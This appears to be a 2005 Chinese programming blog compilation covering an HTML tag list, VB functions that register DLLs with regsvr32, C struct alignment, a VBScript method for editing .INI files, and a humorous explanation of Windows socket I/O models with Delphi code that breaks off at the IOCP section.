2005年10月21日

来源:www.hackbase.com         

         这里收集了 HTML 的所有语法〈当然并不是全部,但也差不多是这样了〉。希望对网友查询时比较方便。 注:按英文字母顺序排列  
卷标 , 属性名称 简介  

  <! - - … - -> 批注  

  <A HREF TARGET> 指定超级链接的分割窗口  

  <A HREF=#锚的名称> 指定锚名称的超级链接  

  <A HREF> 指定超级链接  

  <A NAME=锚的名称> 被连结点的名称  

  <ADDRESS>….</ADDRESS> 用来显示电子邮箱地址  

  <B> 粗体字  

  <BASE TARGET> 指定超级链接的分割窗口  

  <BASEFONT SIZE> 更改预设字形大小  

  <BGSOUND SRC> 加入背景音乐  

  <BIG> 显示大字体  

  <BLINK> 闪烁的文字  

  <BODY TEXT LINK VLINK> 设定文字颜色  

  <BODY> 显示本文  

  <BR> 换行  



  <CAPTION ALIGN> 设定表格标题位置  

  <CAPTION>…</CAPTION> 为表格加上标题  

  <CENTER> 向中对齐  

  <CITE>…<CITE> 用于引经据典的文字  

  <CODE>…</CODE> 用于列出一段程序代码  

  <COMMENT>…</COMMENT> 加上批注 



  <DD> 设定定义列表的项目解说  

  <DFN>…</DFN> 显示"定义"文字  

  <DIR>…</DIR> 列表文字卷标  

  <DL>…</DL> 设定定义列表的卷标  

  <DT> 设定定义列表的项目  



  <EM> 强调之用  



  <FONT FACE> 任意指定所用的字形  

  <FONT SIZE> 设定字体大小  

  <FORM ACTION> 设定户动式窗体的处理方式  

  <FORM METHOD> 设定户动式窗体之资料传送方式  

  <FRAME MARGINHEIGHT> 设定窗口的上下边界  

  <FRAME MARGINWIDTH> 设定窗口的左右边界  

  <FRAME NAME> 为分割窗口命名  

  <FRAME NORESIZE> 锁住分割窗口的大小  

  <FRAME SCROLLING> 设定分割窗口的滚动条  

  <FRAME SRC> 将HTML文件加入窗口  

  <FRAMESET COLS> 将窗口分割成左右的子窗口  

  <FRAMESET ROWS> 将窗口分割成上下的子窗口  

  <FRAMESET>…</FRAMESET> 划分分割窗口  



  <H1>~<H6> 设定文字大小  

  <HEAD> 标示文件信息  

  <HR> 加上分网格线  

  <HTML> 文件的开始与结束  



  <I> 斜体字  

  <IMG ALIGN> 调整图形影像的位置  

  <IMG ALT> 为你的图形影像加注  

  <IMG DYNSRC LOOP> 加入影片  

  <IMG HEIGHT WIDTH> 插入图片并预设图形大小  

  <IMG HSPACE> 插入图片并预设图形的左右边界  

  <IMG LOWSRC> 预载图片功能  

  <IMG SRC BORDER> 设定图片边界  

  <IMG SRC> 插入图片  

  <IMG VSPACE> 插入图片并预设图形的上下边界  

  <INPUT TYPE NAME VALUE> 在窗体中加入输入字段  

  <ISINDEX> 定义查询用窗体  


  

  <KBD>…</KBD> 表示使用者输入文字  


  

  <LI TYPE>…</LI> 列表的项目 ( 可指定符号 )  


  

  <MARQUEE> 跑马灯效果  

  <MENU>…</MENU> 条列文字卷标  

  <META NAME="REFRESH" CONTENT URL> 自动更新文件内容  

  <MULTIPLE> 可同时选择多项的列表栏  


  

  <NOFRAME> 定义不出现分割窗口的文字  


  

  <OL>…</OL> 有序号的列表  

  <OPTION> 定义窗体中列表栏的项目  


  

  <P ALIGN> 设定对齐方向  

  <P> 分段  

  <PERSON>…</PERSON> 显示人名  

  <PRE> 使用原有排列  


  

  <SAMP>…</SAMP> 用于引用字  

  <SELECT>…</SELECT> 在窗体中定义列表栏  

  <SMALL> 显示小字体  

  <STRIKE> 文字加横线  

  <STRONG> 用于加强语气  

  <SUB> 下标字  

  <SUP> 上标字  


  

  <TABLE BORDER=n> 调整表格的宽线高度  

  <TABLE CELLPADDING> 调整数据域位之边界  

  <TABLE CELLSPACING> 调整表格线的宽度  

  <TABLE HEIGHT> 调整表格的高度  

  <TABLE WIDTH> 调整表格的宽度  

  <TABLE>…</TABLE> 产生表格的卷标  

  <TD ALIGN> 调整表格字段之左右对齐  

  <TD BGCOLOR> 设定表格字段之背景颜色  

  <TD COLSPAN ROWSPAN> 表格字段的合并  

  <TD NOWRAP> 设定表格字段不换行  

  <TD VALIGN> 调整表格字段之上下对齐  

  <TD WIDTH> 调整表格字段宽度  

  <TD>…</TD> 定义表格的数据域位  

  <TEXTAREA NAME ROWS COLS> 窗体中加入多少列的文字输入栏  

  <TEXTAREA WRAP> 决定文字输入栏是自动否换行  

  <TH>…</TH> 定义表格的标头字段  

  <TITLE> 文件标题  

  <TR>…</TR> 定义表格美一行  

  <TT> 打字机字体  


  <U> 文字加底线  

  <UL TYPE>…</UL> 无序号的列表 ( 可指定符号 )  

  <VAR>…</VAR> 用于显示变量 

2005年07月15日

如何进行dll注册与删除??????????



regsvr32 dllname.dll
regsvr32/u dllname.dll



up



Function RegisterDll(strDllFileName As String, strProgID As String, strClsID As String, Optional bVerify As Boolean = True) As Long
‘ 函数说明
‘     注册 ActiveX DLL。
‘     注册校验:如果 strProgID 不为空,则注册后检查 strProgID 对应的 CLSID 是否与 strCLSID 相等,
‘     如不相等,则认为未注册成功。

‘ 参数说明
‘     strDllFileName    :(in) DLL 文件名,包括路径
‘     strProgID         :(in) ProgID,如 "AutoYuanjuanProject.AutoYuejuan"
‘     strCLSID          :(in) CLSID,如 "37048527-7337-43A8-A041-18DDA083F9F3"
‘     bVerify           :(in) 是否校验注册成功,默认为是

‘ 返回值
‘     0 = 正常
‘     1 = 程序运行错误

‘ 算法或程序流程
‘     1. regsvr32 /s /u .dll
‘     2. regsvr32 /s .dll
‘     3. CLSIDFromProgID
‘     4. StringFromCLSID
‘     5. CLSID 的 String 与 strCLSID 比较,如果相同,说明注册成功
   Dim strSystemPath       As String
   Dim strRegsvr32         As String
   Dim strCmdLine          As String
   Dim lnProcess           As Long
   Dim lnProcessID         As Long
   Dim lnExitCode          As Long
   Dim sgStartTimer        As Single
   Dim tClsID              As tp_GUID
   Dim pOLESTR             As Long
   Dim strNewClsID         As String
   Dim lnReturn            As Long
   Dim ln1                 As Long
   
   On Error GoTo err_RegisterDll
   
   ’ 取得系统路径
   strSystemPath = String(MAX_PATH, Chr(0))
   lnReturn = GetSystemDirectory(strSystemPath, MAX_PATH)
   If lnReturn > 0 Then
      strSystemPath = Left(strSystemPath, lnReturn)
   Else
      ’ 取得系统路径失败
      RegisterDll = 1
      Exit Function
   End If
   If Right(strSystemPath, 1) <> "\" Then strSystemPath = strSystemPath & "\"
   
   ’ 计算 regsvr32.exe 的文件名
   strRegsvr32 = strSystemPath & "regsvr32.exe"
   
   ’ 注册 DLL
   ’strCmdLine = strRegsvr32 & " /s " & strDllFileName
   strCmdLine = strRegsvr32 & " /s """ & strDllFileName & """"
   lnProcessID = Shell(strCmdLine, vbNormalFocus)
   If lnProcessID = 0 Then
      ’ 运行失败
      RegisterDll = 1
      Exit Function
   End If
   
   lnProcess = OpenProcess(PROCESS_QUERY_INFORMATION, False, lnProcessID)
   If lnProcess <> 0 Then
      sgStartTimer = Timer
      Do
          Call GetExitCodeProcess(lnProcess, lnExitCode)
          DoEvents
          DoEvents
          DoEvents
      Loop While (lnExitCode = STATUS_PENDING) And (Timer - sgStartTimer < 5)    ’ 5 秒超时
      CloseHandle lnProcess
      If lnExitCode = STATUS_PENDING Then
         ’ regsvr32 运行超时
         RegisterDll = 1
         Exit Function
      End If
   End If
      
   ’ 校验注册结果
   If Not bVerify Then
      RegisterDll = 0
      Exit Function
   Else
      ’ 计算 CLSIDFromProgID
      If strProgID = "" Then
         ’ 不进行 ProgID 与 CLSID 的校验
         RegisterDll = 0
         Exit Function
      End If
      lnReturn = CLSIDFromProgID(StrPtr(strProgID), tClsID)
      If lnReturn <> 0 Then
         ’ 运行失败
         RegisterDll = 1
         Exit Function
      End If
      
      ’ 计算 StringFromCLSID
      strNewClsID = String(160, Chr(0))
      lnReturn = StringFromCLSID(tClsID, pOLESTR)
      If lnReturn <> 0 Then
         ’ 运行失败
         RegisterDll = 1
         Exit Function
      End If
      If GetComString(pOLESTR, 100, strNewClsID) <> 0 Then
         ’ 运行失败
         CoTaskMemFree pOLESTR
         RegisterDll = 1
         Exit Function
      End If
      CoTaskMemFree pOLESTR
      
      ’ CLSID 的 String 与 strCLSID 比较,如果相同,说明注册成功
      If strNewClsID = strClsID Then
         RegisterDll = 0
         Exit Function
      Else
         RegisterDll = 1
         Exit Function
      End If
   End If
   
err_RegisterDll:
      
   RegisterDll = 1
   
‘debug
‘MsgBox "err_RegisterDll"
‘Err.Clear
‘On Error GoTo err_RegisterDll
‘Resume Next
End Function
Function UnRegisterDll(strDllFileName As String) As Long
‘ 函数说明
‘     注销 ActiveX DLL

‘ 参数说明
‘     strDllFileName    :(in) DLL 文件名,包括路径

‘ 返回值
‘     0 = 正常
‘     1 = 程序运行错误

‘ 算法或程序流程
‘     1 regsvr32 /s /u .dll
   Dim strSystemPath       As String
   Dim strRegsvr32         As String
   Dim strCmdLine          As String
   Dim lnReturn            As Long
   Dim lnProcessID         As Long
   
   On Error GoTo err_UnRegisterDll
   
   ’ 取得系统路径
   strSystemPath = String(MAX_PATH, Chr(0))
   lnReturn = GetSystemDirectory(strSystemPath, MAX_PATH)
   If lnReturn > 0 Then
      strSystemPath = Left(strSystemPath, lnReturn)
   Else
      ’ 取得系统路径失败
      UnRegisterDll = 1
      Exit Function
   End If
   If Right(strSystemPath, 1) <> "\" Then strSystemPath = strSystemPath & "\"
   
   ’ 计算 regsvr32.exe 的文件名
   strRegsvr32 = strSystemPath & "regsvr32.exe"
   
   ’ 注销 DLL
   strCmdLine = strRegsvr32 & " /s /u " & strDllFileName
   lnProcessID = Shell(strCmdLine, vbNormalFocus)
   If lnProcessID = 0 Then
      ’ 运行失败
      UnRegisterDll = 1
      Exit Function
   End If
      
   UnRegisterDll = 0
   Exit Function
   
err_UnRegisterDll:
   UnRegisterDll = 1
   
End Function

2005年07月02日

在C语言中,结构是一种复合数据类型,其构成元素既可以是基本数据类型(如int、long、float等)的变量,也可以是一些复合数据类型(如数组、结构、联合等)的数据单元。在结构中,编译器为结构的每个成员按其自然对界(alignment)条件分配空间。各个成员按照它们被声明的顺序在内存中顺序存储,第一个成员的地址和整个结构的地址相同。

     例如,下面的结构各成员空间分配情况:
struct test
{
     char x1;
     short x2;
     float x3;
     char x4;
};
     结构的第一个成员x1,其偏移地址为0,占据了第1个字节。第二个成员x2为short类型,其起始地址必须2字节对界,因此,编译器在x2和x1之间填充了一个空字节。结构的第三个成员x3和第四个成员x4恰好落在其自然对界地址上,在它们前面不需要额外的填充字节。在test结构中,成员x3要求4字节对界,是该结构所有成员中要求的最大对界单元,因而test结构的自然对界条件为4字节,编译器在成员x4后面填充了3个空字节。整个结构所占据空间为12字节。
更改C编译器的缺省字节对齐方式
     在缺省情况下,C编译器为每一个变量或是数据单元按其自然对界条件分配空间。一般地,可以通过下面的方法来改变缺省的对界条件:
  · 使用伪指令#pragma pack (n),C编译器将按照n个字节对齐。
     · 使用伪指令#pragma pack (),取消自定义字节对齐方式。

     另外,还有如下的一种方式:
     · __attribute((aligned (n))),让所作用的结构成员对齐在n字节自然边界上。如果结构中有成员的长度大于n,则按照最大成员的长度来对齐。
     · __attribute__ ((packed)),取消结构在编译过程中的优化对齐,按照实际占用字节数进行对齐。

以上的n = 1, 2, 4, 8, 16… 第一种方式较为常见。

应用实例

  在网络协议编程中,经常会处理不同协议的数据报文。一种方法是通过指针偏移的方法来得到各种信息,但这样做不仅编程复杂,而且一旦协议有变化,程序修改起来也比较麻烦。在了解了编译器对结构空间的分配原则之后,我们完全可以利用这一特性定义自己的协议结构,通过访问结构的成员来获取各种信息。这样做,不仅简化了编程,而且即使协议发生变化,我们也只需修改协议结构的定义即可,其它程序无需修改,省时省力。下面以TCP协议首部为例,说明如何定义协议结构。其协议结构定义如下:

#pragma pack(1) // 按照1字节方式进行对齐
struct TCPHEADER
{
     short SrcPort; // 16位源端口号
     short DstPort; // 16位目的端口号
     int SerialNo; // 32位序列号
     int AckNo; // 32位确认号
     unsigned char HaderLen : 4; // 4位首部长度
     unsigned char Reserved1 : 4; // 保留6位中的4位
     unsigned char Reserved2 : 2; // 保留6位中的2位
     unsigned char URG : 1;
     unsigned char ACK : 1;
     unsigned char PSH : 1;
     unsigned char RST : 1;
     unsigned char SYN : 1;
     unsigned char FIN : 1;
     short WindowSize; // 16位窗口大小
     short TcpChkSum; // 16位TCP检验和
     short UrgentPointer; // 16位紧急指针
};
#pragma pack() // 取消1字节对齐方式

2005年06月30日

在我们开始讨论如何编辑 .INI 文件之前,首先让我们看一个例子。这是 Adobe Reader  .INI 文件中的一节,不过大部分 .INI 文件看起来都是类似的:

1.    [OEM Install]

2.   DisplayWelcomeDlg=YES

3.   DisplayEULA=NO

4.   DisplayTypeOfInstallDlg=NO

5.   DisplaySelectDestDirDlg=YES

6.   DisplayCustomDlg=NO

7.   DisplayUserInfoDlg=NO

8.   DisplayConfirmRegDlg=NO

9.   DisplayStartCopyDlg=NO

10.  DisplayFinishDlg=NO

11.  DisplayFinalMessage=YES

12.  DisplayRebootDlg=YES

13.  ProgGroupName=

14.  DefaultDestDir=

15.  UserName=

16.  UserCompanyName=

17.  UserSerialNumber=



假定我们要对这个文件做两件事情:我们想把 DisplayWelcomeDlg 修改为“NO”,以及将 UserName 设置为“Ken Myer”。理想情况下,我们可以写一个脚本,简单地在文件中搜索 DisplayWelcomeDlg 并将它的值修改为“NO”,以及搜索“UserName”属性,将值设置为“Ken Myer”,最后保存所做的修改。可惜,FileSystemObject——我们需要用于读取和修改文本文件的技术——不具备这些功能。事实上,我们必须使用笨办法来编辑 .INI 文件。您可能现在对这一点还没有太多的认识,我希望在本专栏结束时您能理解我这句话的意思。

让我们看一个完整的脚本,然后再解释它具体是如何工作的:

1.    Const ForReading = 1

2.   Const ForWriting = 2

3.  

 

4.   Set objFSO = CreateObject("Scripting.FileSystemObject")

5.   Set objTextFile = objFSO.OpenTextFile("sample.ini", ForReading)

6.  

 

7.   Do Until objTextFile.AtEndOfStream

8.       strNextLine = objTextFile.Readline

9.  

 

10.      intLineFinder = InStr(strNextLine, "DisplayWelcomeDlg")

11.      If intLineFinder <> 0 Then

12.          strNextLine = "DisplayWelcomeDlg=NO"

13.      End If

14. 

 

15.      intLineFinder = InStr(strNextLine, "UserName")

16.      If intLineFinder <> 0 Then

17.          strNextLine = "UserName=Ken Myer"

18.      End If

19. 

 

20.      strNewFile = strNewFile & strNextLine & vbCrLf

21.  Loop

22. 

 

23.  objTextFile.Close

24. 

 

25.  Set objTextFile = objFSO.OpenTextFile("sample.ini", ForWriting)

26. 

 

27.  objTextFile.WriteLine strNewFile

28.  objTextFile.Close



我们首先定义了两个常量:ForReading  ForWriting。在读写 .INI 文件时需要用到这两个常量。需要注意的是,并没有一个被称作 ForEditing 的常量;这是因为 FileSystemObject 不允许我们同时读写一个文件。所以,我们必须打开文件,读取它的内容,然后必须关闭文件,然后为了写入内容而重新打开它。现在,我们可以保存我们所做的修改了。正如我们前面所说的,这并不是一种最巧妙的方法,但是它的确很管用。

在定义了两个常量之后,我们为了读取的目的而打开了.INI 文件(sample.ini)。然后,我们建立了一个 Do 循环,通过此循环逐行读入文件内容,知道没有任何东西可读为止(即 AtEdnOfStream 属性为 TRUE 的时候)。我们首先使用了 Readline 方法读入文件的第一行,并将该行保存在变量 strNextLine 中。

现在,有趣的事情开始了。如前所述,FileSystemObject 不允许您搜索文件;所以,我们必须逐行读入文件,然后逐个检查每一行,看看是否有需要的东西。这就是我们利用以下这行代码所做的事情:

1.    intLineFinder = InStr(strNextLine, "DisplayWelcomeDlg")


此代码使用了 InStr 方法检查变量 strNextLine 中是否存在字符串 DisplayWelcomeDlg(记住,该变量包含了我们刚才读入的 .INI 文件的行)。如果目标字符串存在,InStr 将返回字符串所在的位置。例如,假定 strNextLine 等于:

此代码使用了 InStr 方法检查变量 strNextLine 中是否存在字符串 DisplayWelcomeDlg(记住,该变量包含了我们刚才读入的 .INI 文件的行)。如果目标字符串存在,InStr 将返回字符串所在的位置。例如,假定 strNextLine 等于:

1.    xxxxxDisplayWelcomeDlgxxxxx



在这种情况下,InStr 将返回 6,因为我们的目标字符串从第 6 个位置开始(前面有 5  X,然后是 DisplayWelcomeDlg)。如果目标字符串不存在,InStr 返回 0

在我们读入 .INI 文件的第一行时,情况就是这样。因为文件的第一行是 [OEM Install],所以 InStr 返回 0。接着,我们跳过第一个 If-Then 语句,然后继续。我们接下来检查变量中是否存在 UserName 字符串。InStr 再一次返回 0,所以我们又跳过了第二个 If-Then 语句。

这就是我前面所说的使用笨办法来编辑文件的意思:我们检查文件的每一行,看看是否满足我们的每一个测试条件。假定我们还希望修改 DisplayUserInfoDlg 属性。那么,我们必须增加与上面两个条件类似的 第三个 测试条件:

1.    intLineFinder = InStr(strNextLine, "DisplayUserInfoDlg")



明白了吗?现在,我们检查的是 .INI 文件的第一行,它不是我们想要的行。所以,我们丢弃它并且继续?不,并不是这样。实际上,我们使用了以下代码:

1.    strNewFile = strNewFile & strNextLine & vbCrLf



这个代码在内存中构造了一个全新的 .INI 文件,将新文件存储在变量 strNewFile 中。在我们走过第一遍循环的时候,strNewFile 的值目前 strNewFile 中的所有内容(在第一趟循环时它的值为 nothing)加上 变量 strNextLine ([OEM Install]) 的内容 再加上 一个回车换行符 (vbCrLf)。换句话说,循环后的 strNewFile 看起来如下所示:

1.    [OEM Install]



很令人兴奋,不是吗?

现在,我们继续循环,读入文件的第二行(DisplayWelcomeDlg=YES)。让我们猜想一下:这一次,InStr 将找到目标字符串,变量 intLineFinder 将等于 1(因为 DisplayWelcomeDlg 从第一个字符开始)。因为 intLineFinder 不等于 0,我们现在进入了第一个 If-Then 语句块。在这个部分中,我们简单地将 strNewLine 的值修改为:

1.    strNextLine = "DisplayWelcomeDlg=NO"



现在,我们的变量包含的不是我们从 .INI 文件中读入的内容;而是经过修改的文本:

1.    DisplayWelcomeDlg=NO



换句话说,我们并没有真正编辑 DisplayWelcomeDlg 属性的值。我们只是简单地用新的行替换了老的行。但是,最终的结果并没有什么不同,就如同我们能够直接编辑属性的值一样。

当我们到达循环末尾的时候,变量 strNewFile 的值将等于:

1.    [OEM Install] DisplayWelcomeDlg=NO



让我们看看为何会如此?我们不断逐行读入 .INI 文件,同时不断逐行构造变量 strNewFile。在脚本运行完毕后,strNewFile 将包含以下数据:

1.    [OEM Install]

2.   DisplayWelcomeDlg=NO

3.   DisplayEULA=NO

4.   DisplayTypeOfInstallDlg=NO

5.   DisplaySelectDestDirDlg=YES

6.   DisplayCustomDlg=NO

7.   DisplayUserInfoDlg=NO

8.   DisplayConfirmRegDlg=NO

9.   DisplayStartCopyDlg=NO

10.  DisplayFinishDlg=NO

11.  DisplayFinalMessage=YES

12.  DisplayRebootDlg=YES

13.  ProgGroupName=

14.  DefaultDestDir=

15.  UserName=Ken Myer

16.  UserCompanyName=

17.  UserSerialNumber=



是的,这就是我们想要的最后修改完成的 .INI 文件。

我们正在按着正确的轨道前进。接下来,我们关闭 sample.ini 文件,再立即为了写入数据而打开它(方法很愚蠢,但是我们只能这么做)。我们只需使用一行代码,用保存在变量 strNewFile 中的内容替换 sample.ini 中的所有现有内容:

1.    objTextFile.WriteLine strNewFile



当我们在此关闭该文件后,数据便被保存,我们成功地修改了 .INI 文件。

现在,我们不敢吹嘘说这是我们所写过的最酷的代码;它也的确不是这样的代码。而且可能对于某些 .INI 文件并不能使用这种方法。但是,事实是:它可能是您能够采用的最好方法,至少利用操作系统内置的工具就可以达到我们的目的。

2005年05月30日

很幽默的讲解六种Socket I/O模型

《Socket I/O模型全接触》
作  者: flyinwuhan (制怒·三思而后行)

本文简单介绍了当前Windows支持的各种Socket I/O模型,如果你发现其中存在什么错误请务必赐教。

一:select模型
二:WSAAsyncSelect模型
三:WSAEventSelect模型
四:Overlapped I/O 事件通知模型
五:Overlapped I/O 完成例程模型
六:IOCP模型

老陈有一个在外地工作的女儿,不能经常回来,老陈和她通过信件联系。他们的信会被邮递员投递到他们的信箱里。
这和Socket模型非常类似。下面我就以老陈接收信件为例讲解Socket I/O模型~~~

一:select模型

老陈非常想看到女儿的信。以至于他每隔10分钟就下楼检查信箱,看是否有女儿的信~~~~~
在这种情况下,"下楼检查信箱"然后回到楼上耽误了老陈太多的时间,以至于老陈无法做其他工作。
select模型和老陈的这种情况非常相似:周而复始地去检查……如果有数据……接收/发送…….

使用线程来select应该是通用的做法:
procedure TListenThread.Execute;
var
addr : TSockAddrIn;
fd_read : TFDSet;
timeout : TTimeVal;
ASock,
MainSock : TSocket;
len, i : Integer;
begin
MainSock := socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );
addr.sin_family := AF_INET;
addr.sin_port := htons(5678);
addr.sin_addr.S_addr := htonl(INADDR_ANY);
bind( MainSock, @addr, sizeof(addr) );
listen( MainSock, 5 );

while (not Terminated) do
begin
FD_ZERO( fd_read );
FD_SET( MainSock, fd_read );
timeout.tv_sec := 0;
timeout.tv_usec := 500;
if select( 0, @fd_read, nil, nil, @timeout ) > 0 then //至少有1个等待Accept的connection
begin
if FD_ISSET( MainSock, fd_read ) then
begin
for i:=0 to fd_read.fd_count-1 do //注意,fd_count <= 64,也就是说select只能同时管理最多64个连接
begin
len := sizeof(addr);
ASock := accept( MainSock, addr, len );
if ASock <> INVALID_SOCKET then
….//为ASock创建一个新的线程,在新的线程中再不停地select
end;
end;
end;
end; //while (not self.Terminated)

shutdown( MainSock, SD_BOTH );
closesocket( MainSock );
end;

二:WSAAsyncSelect模型

后来,老陈使用了微软公司的新式信箱。这种信箱非常先进,一旦信箱里有新的信件,盖茨就会给老陈打电话:喂,大爷,你有新的信件了!从此,老陈再也不必频繁上下楼检查信箱了,牙也不疼了,你瞅准了,蓝天……不是,微软~~~~~~~~
微软提供的WSAAsyncSelect模型就是这个意思。

WSAAsyncSelect模型是Windows下最简单易用的一种Socket I/O模型。使用这种模型时,Windows会把网络事件以消息的形势通知应用程序。
首先定义一个消息标示常量:
const WM_SOCKET = WM_USER + 55;
再在主Form的private域添加一个处理此消息的函数声明:
private
procedure WMSocket(var Msg: TMessage); message WM_SOCKET;
然后就可以使用WSAAsyncSelect了:
var
addr : TSockAddr;
sock : TSocket;

sock := socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );
addr.sin_family := AF_INET;
addr.sin_port := htons(5678);
addr.sin_addr.S_addr := htonl(INADDR_ANY);
bind( m_sock, @addr, sizeof(SOCKADDR) );

WSAAsyncSelect( m_sock, Handle, WM_SOCKET, FD_ACCEPT or FD_CLOSE );

listen( m_sock, 5 );
….

应用程序可以对收到WM_SOCKET消息进行分析,判断是哪一个socket产生了网络事件以及事件类型:

procedure TfmMain.WMSocket(var Msg: TMessage);
var
sock : TSocket;
addr : TSockAddrIn;
addrlen : Integer;
buf : Array [0..4095] of Char;
begin
//Msg的WParam是产生了网络事件的socket句柄,LParam则包含了事件类型
case WSAGetSelectEvent( Msg.LParam ) of
FD_ACCEPT :
begin
addrlen := sizeof(addr);
sock := accept( Msg.WParam, addr, addrlen );
if sock <> INVALID_SOCKET then
WSAAsyncSelect( sock, Handle, WM_SOCKET, FD_READ or FD_WRITE or FD_CLOSE );
end;

FD_CLOSE : closesocket( Msg.WParam );
FD_READ : recv( Msg.WParam, buf[0], 4096, 0 );
FD_WRITE : ;
end;
end;

三:WSAEventSelect模型

后来,微软的信箱非常畅销,购买微软信箱的人以百万计数……以至于盖茨每天24小时给客户打电话,累得腰酸背痛,喝蚁力神都不好使~~~~~~
微软改进了他们的信箱:在客户的家中添加一个附加装置,这个装置会监视客户的信箱,每当新的信件来临,此装置会发出"新信件到达"声,提醒老陈去收信。盖茨终于可以睡觉了。

同样要使用线程:
procedure TListenThread.Execute;
var
hEvent : WSAEvent;
ret : Integer;
ne : TWSANetworkEvents;
sock : TSocket;
adr : TSockAddrIn;
sMsg : String;
Index,
EventTotal : DWORD;
EventArray : Array [0..WSA_MAXIMUM_WAIT_EVENTS-1] of WSAEVENT;
begin
…socket…bind…
hEvent := WSACreateEvent();
WSAEventSelect( ListenSock, hEvent, FD_ACCEPT or FD_CLOSE );
…listen…

while ( not Terminated ) do
begin
Index := WSAWaitForMultipleEvents( EventTotal, @EventArray[0], FALSE, WSA_INFINITE, FALSE );
FillChar( ne, sizeof(ne), 0 );
WSAEnumNetworkEvents( SockArray[Index-WSA_WAIT_EVENT_0], EventArray[Index-WSA_WAIT_EVENT_0], @ne );

if ( ne.lNetworkEvents and FD_ACCEPT ) > 0 then
begin
if ne.iErrorCode[FD_ACCEPT_BIT] <> 0 then
continue;

ret := sizeof(adr);
sock := accept( SockArray[Index-WSA_WAIT_EVENT_0], adr, ret );
if EventTotal > WSA_MAXIMUM_WAIT_EVENTS-1 then//这里WSA_MAXIMUM_WAIT_EVENTS同样是64
begin
closesocket( sock );
continue;
end;

hEvent := WSACreateEvent();
WSAEventSelect( sock, hEvent, FD_READ or FD_WRITE or FD_CLOSE );
SockArray[EventTotal] := sock;
EventArray[EventTotal] := hEvent;
Inc( EventTotal );
end;

if ( ne.lNetworkEvents and FD_READ ) > 0 then
begin
if ne.iErrorCode[FD_READ_BIT] <> 0 then
continue;
FillChar( RecvBuf[0], PACK_SIZE_RECEIVE, 0 );
ret := recv( SockArray[Index-WSA_WAIT_EVENT_0], RecvBuf[0], PACK_SIZE_RECEIVE, 0 );
……
end;
end;
end;



四:Overlapped I/O 事件通知模型

后来,微软通过调查发现,老陈不喜欢上下楼收发信件,因为上下楼其实很浪费时间。于是微软再次改进他们的信箱。新式的信箱采用了更为先进的技术,只要用户告诉微软自己的家在几楼几号,新式信箱会把信件直接传送到用户的家中,然后告诉用户,你的信件已经放到你的家中了!老陈很高兴,因为他不必再亲自收发信件了!

Overlapped I/O 事件通知模型和WSAEventSelect模型在实现上非常相似,主要区别在"Overlapped",Overlapped模型是让应用程序使用重叠数据结构(WSAOVERLAPPED),一次投递一个或多个Winsock I/O请求。这些提交的请求完成后,应用程序会收到通知。什么意思呢?就是说,如果你想从socket上接收数据,只需要告诉系统,由系统为你接收数据,而你需要做的只是为系统提供一个缓冲区~~~~~
Listen线程和WSAEventSelect模型一模一样,Recv/Send线程则完全不同:
procedure TOverlapThread.Execute;
var
dwTemp : DWORD;
ret : Integer;
Index : DWORD;
begin
……

while ( not Terminated ) do
begin
Index := WSAWaitForMultipleEvents( FLinks.Count, @FLinks.Events[0], FALSE, RECV_TIME_OUT, FALSE );
Dec( Index, WSA_WAIT_EVENT_0 );
if Index > WSA_MAXIMUM_WAIT_EVENTS-1 then //超时或者其他错误
continue;

WSAResetEvent( FLinks.Events[Index] );
WSAGetOverlappedResult( FLinks.Sockets[Index], FLinks.pOverlaps[Index], @dwTemp, FALSE, FLinks.pdwFlags[Index]^ );

if dwTemp = 0 then //连接已经关闭
begin
……
continue;
end else
begin
fmMain.ListBox1.Items.Add( FLinks.pBufs[Index]^.buf );
end;

//初始化缓冲区
FLinks.pdwFlags[Index]^ := 0;
FillChar( FLinks.pOverlaps[Index]^, sizeof(WSAOVERLAPPED), 0 );
FLinks.pOverlaps[Index]^.hEvent := FLinks.Events[Index];
FillChar( FLinks.pBufs[Index]^.buf^, BUFFER_SIZE, 0 );

//递一个接收数据请求
WSARecv( FLinks.Sockets[Index], FLinks.pBufs[Index], 1, FLinks.pdwRecvd[Index]^, FLinks.pdwFlags[Index]^, FLinks.pOverlaps[Index], nil );
end;
end;

五:Overlapped I/O 完成例程模型

老陈接收到新的信件后,一般的程序是:打开信封—-掏出信纸—-阅读信件—-回复信件……为了进一步减轻用户负担,微软又开发了一种新的技术:用户只要告诉微软对信件的操作步骤,微软信箱将按照这些步骤去处理信件,不再需要用户亲自拆信/阅读/回复了!老陈终于过上了小资生活!

Overlapped I/O 完成例程要求用户提供一个回调函数,发生新的网络事件的时候系统将执行这个函数:
procedure WorkerRoutine( const dwError, cbTransferred : DWORD; const
lpOverlapped : LPWSAOVERLAPPED; const dwFlags : DWORD ); stdcall;
然后告诉系统用WorkerRoutine函数处理接收到的数据:
WSARecv( m_socket, @FBuf, 1, dwTemp, dwFlag, @m_overlap, WorkerRoutine );
然后……没有什么然后了,系统什么都给你做了!微软真实体贴!
while ( not Terminated ) do//这就是一个Recv/Send线程要做的事情……什么都不用做啊!!!
begin
if SleepEx( RECV_TIME_OUT, True ) = WAIT_IO_COMPLETION then //
begin
;
end else
begin
continue;
end;
end;

六:IOCP模型

微软信箱似乎很完美,老陈也很满意。但是在一些大公司情况却完全不同!这些大公司有数以万计的信箱,每秒钟都有数以百计的信件需要处理,以至于微软信箱经常因超负荷运转而崩溃!需要重新启动!微软不得不使出杀手锏……
微软给每个大公司派了一名名叫"Completion Port"的超级机器人,让这个机器人去处理那些信件!

"Windows NT小组注意到这些应用程序的性能没有预料的那么高。特别的,处理很多同时的客户请求意味着很多线程并发地运行在系统中。因为所有这些线程都是可运行的[没有被挂起和等待发生什么事],Microsoft意识到NT内核花费了太多的时间来转换运行线程的上下文[Context],线程就没有得到很多CPU时间来做它们的工作。大家可能也都感觉到并行模型的瓶颈在于它为每一个客户请求都创建了一个新线程。创建线程比起创建进程开销要小,但也远不是没有开销的。我们不妨设想一下:如果事先开好N个线程,让它们在那hold[堵塞],然后可以将所有用户的请求都投递到一个消息队列中去。然后那N个线程逐一从消息队列中去取出消息并加以处理。就可以避免针对每一个用户请求都开线程。不仅减少了线程的资源,也提高了线程的利用率。理论上很不错,你想我等泛泛之辈都能想出来的问题,Microsoft又怎会没有考虑到呢?"—–摘自nonocast的《理解I/O Completion Port》

先看一下IOCP模型的实现:

//创建一个完成端口
FCompletPort := CreateIoCompletionPort( INVALID_HANDLE_VALUE, 0,0,0 );

//接受远程连接,并把这个连接的socket句柄绑定到刚才创建的IOCP上
AConnect := accept( FListenSock, addr, len);
CreateIoCompletionPort( AConnect, FCompletPort, nil, 0 );

